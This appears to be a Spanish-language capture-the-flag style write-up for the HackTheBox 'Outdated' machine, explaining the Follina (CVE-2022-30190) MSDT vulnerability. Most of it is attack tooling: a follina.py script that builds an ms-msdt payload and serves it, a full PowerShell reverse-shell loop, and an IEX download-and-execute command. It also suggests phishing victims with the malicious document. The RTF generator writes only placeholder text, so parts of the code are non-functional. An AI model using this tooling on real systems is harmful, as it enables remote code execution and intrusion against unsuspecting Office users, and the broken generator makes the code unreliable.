
Exploit PoC automatizado para CVE-2022-30190 (Follina) que genera archivos RTF/DOCX maliciosos abusando del protocolo MSDT para ejecutar comandos arbitrarios e implementar shells reversas mediante PowerShell.
Follina (CVE-2022-30190) es una vulnerabilidad crítica de ejecución remota de comandos (RCE) que afecta a la Herramienta de diagnóstico de soporte de Microsoft (MSDT). Esta falla fue descubierta originalmente a través de un archivo malicioso detectado en VirusTotal y fue bautizada por el investigador Kevin Beaumont.
En el contexto de la máquina Outdated de HackTheBox, esta vulnerabilidad se emplea como el vector de entrada principal para ganar acceso al sistema.
La explotación se basa en el abuso del esquema de protocolo ms-msdt, permitiendo que un atacante ejecute código arbitrario mediante la carga de recursos externos. El ataque puede activarse simplemente al abrir o previsualizar un documento de Office (DOCX) o un archivo de texto enriquecido (RTF) especialmente diseñado.
Para automatizar el ataque, se recomienda utilizar scripts de prueba de concepto (PoC) disponibles en plataformas como GitHub. El script follina.py permite configurar la carga útil de manera sencilla.
Se mencionan versiones funcionales de investigadores como John Hammond o Edge-Security.
Comando de generación:
python3 follina.py -m command -t rtf -c "comando_a_ejecutar"
Donde:
-m indica el modo de ejecución (command o binary)-t el tipo de archivo (rtf o docx)-c el comando a inyectarUn método efectivo para obtener una consola interactiva en Windows es inyectar una sentencia de PowerShell que descargue e invoque una reverse shell de la suite Nishang (Invoke-PowerShellTcp.ps1).
El script de explotación genera un recurso HTML malicioso que contiene la instrucción en Base64 y lo aloja automáticamente en un servidor web local (puerto 80). El documento malicioso (click_me.rtf) apuntará a esta dirección URL para gatillar el proceso de diagnóstico de Windows y ejecutar el código.
En escenarios realistas o de auditoría, el atacante puede enviar el enlace al recurso HTML o el documento malicioso a una víctima mediante técnicas de phishing o SMTP (usando herramientas como swaks).
Al momento de la interacción del usuario (o de una tarea automatizada que procese el archivo), MSDT interpreta la carga útil y establece una conexión de vuelta a la máquina del atacante.
Para recibir la conexión, el atacante debe estar en escucha (por ejemplo, con netcat o rlwrap) en el puerto configurado en la reverse shell. Tras la explotación exitosa, se obtiene una consola interactiva con los privilegios del usuario que ejecutó la acción, permitiendo proceder con la enumeración local y la escalada de privilegios.
follina.pyEste script automatiza la creación del archivo malicioso (RTF o DOCX), genera el recurso HTML que explota el esquema de protocolo ms-msdt y levanta un servidor local para servir la carga útil.
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
# El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
command_b64 = base64.b64encode(command.encode()).decode()
# Payload que abusa del protocolo ms-msdt [5]
# Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// Relleno adicional para asegurar el procesamiento
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
print(f"[*] Generando archivo malicioso: {filename}")
# Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url
with open(filename, "w") as f:
f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
args = parser.parse_args()
# 1. Crear el payload HTML
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. Crear el documento malicioso
filename = f"click_me.{args.type}"
create_rtf(filename, "http://tu_ip_atacante")
# 3. Iniciar el servidor para recibir la petición [4, 7]
run_server(args.port)
Parámetros Críticos: Como se describe en las fuentes, el script utiliza -m para el modo, -t para el tipo de archivo y -c para el comando.
Inyección de PowerShell: Un uso común visto en el entrenamiento de s4vitar es inyectar una sentencia de PowerShell que descargue e invoque una reverse shell de Nishang (Invoke-PowerShellTcp.ps1) para ganar acceso interactivo.
Ejecución: El ataque se activa cuando la víctima abre o simplemente visualiza el archivo malicioso (RTF/DOCX), lo que provoca que el sistema intente cargar el recurso HTML y ejecute el comando a través de la herramienta de diagnóstico de Microsoft (MSDT).
Escucha: Debes estar en escucha (ej. con netcat) en el puerto especificado en tu reverse shell para recibir la conexión una vez que el exploit se triguee en la máquina víctima.
Invoke-PowerShellTcp.ps1 (Nishang)El script Invoke-PowerShellTcp.ps1 es una de las herramientas más utilizadas de la suite Nishang para obtener reverse shells en sistemas Windows.
El script original se descarga del repositorio oficial de Nishang en GitHub. Los pasos típicos para su uso son:
wget para traer el recurso al equipo del atacante.reverse.ps1 o ps.ps1, para facilitar su invocación desde la máquina víctima.Para convertir el script en una carga útil autoejecutable, se añade una línea como la siguiente al final del archivo .ps1:
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATACANTE> -Port <TU_PUERTO>
Donde <TU_IP_ATACANTE> y <TU_PUERTO> deben ser sustituidos por tus datos de escucha (por ejemplo, 10.10.14.29 y 443).
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(Nota: Este código sigue la lógica de la "gitbash" y terminales interactivas mencionadas en la resolución de máquinas como Compiled).
Una vez que el atacante tiene el script alojado en un servidor HTTP local (puerto 80), se utiliza el comando IEX (Invoke-Expression) en la máquina víctima para cargarlo y ejecutarlo directamente en memoria sin tocar el disco:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"
Este método es fundamental en la explotación de vulnerabilidades como Follina o en la ganancia de acceso inicial tras comprometer servicios web. Una vez ejecutado, el atacante recibe la conexión en una sesión de netcat en escucha.
Pwned!!!